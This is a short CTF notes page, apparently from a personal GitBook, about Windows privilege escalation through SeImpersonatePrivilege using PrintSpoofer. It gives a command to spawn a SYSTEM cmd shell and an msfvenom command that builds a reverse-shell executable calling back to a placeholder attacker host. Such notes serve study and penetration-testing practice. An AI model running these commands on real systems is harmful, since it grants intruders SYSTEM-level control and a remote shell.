> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/windows-privilege-escalation/privilege-rights/seimpersonateprivilege.md).

# SeImpersonatePrivilege

## PrintSpoofer

**PrintSpoofer** abuses `SeImpersonatePrivilege` on Windows 10 and Server 2016/2019.

### Spawn a SYSTEM process

To spawn a `cmd` shell

```bat
PrintSpoofer.exe -i -c cmd
```

Seems to have some requirements on the reverse shell. Nishang's `Invoke-PowerShellTcp.ps1` didn't work!

Use for example one generated like this

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<kali_ip> LPORT=12345 -f exe -o revshell.exe
```

## Resources

PrintSpoofer - GitHub: <https://github.com/itm4n/PrintSpoofer>

PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019: <https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>